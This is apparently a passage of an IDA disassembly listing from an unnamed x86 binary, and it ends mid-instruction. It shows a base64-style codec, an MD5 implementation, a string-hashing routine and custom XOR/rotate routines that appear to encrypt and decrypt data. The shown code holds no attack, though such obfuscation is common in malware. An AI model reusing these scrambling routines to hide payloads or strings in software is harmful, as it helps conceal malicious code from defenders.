sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, byte_41E9B0[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: sub_4167F1+FEp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAB4 call sub_40F26E pop ecx pop ecx lea eax, byte_41EAB4 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; sub_41113B+159p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_41EAB4[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: sub_4167F1+10Cp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EAC8 call sub_40F26E pop ecx pop ecx lea esi, dword_41EAC8 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EAC8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EAC8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A ; memset add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A ; memset add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, 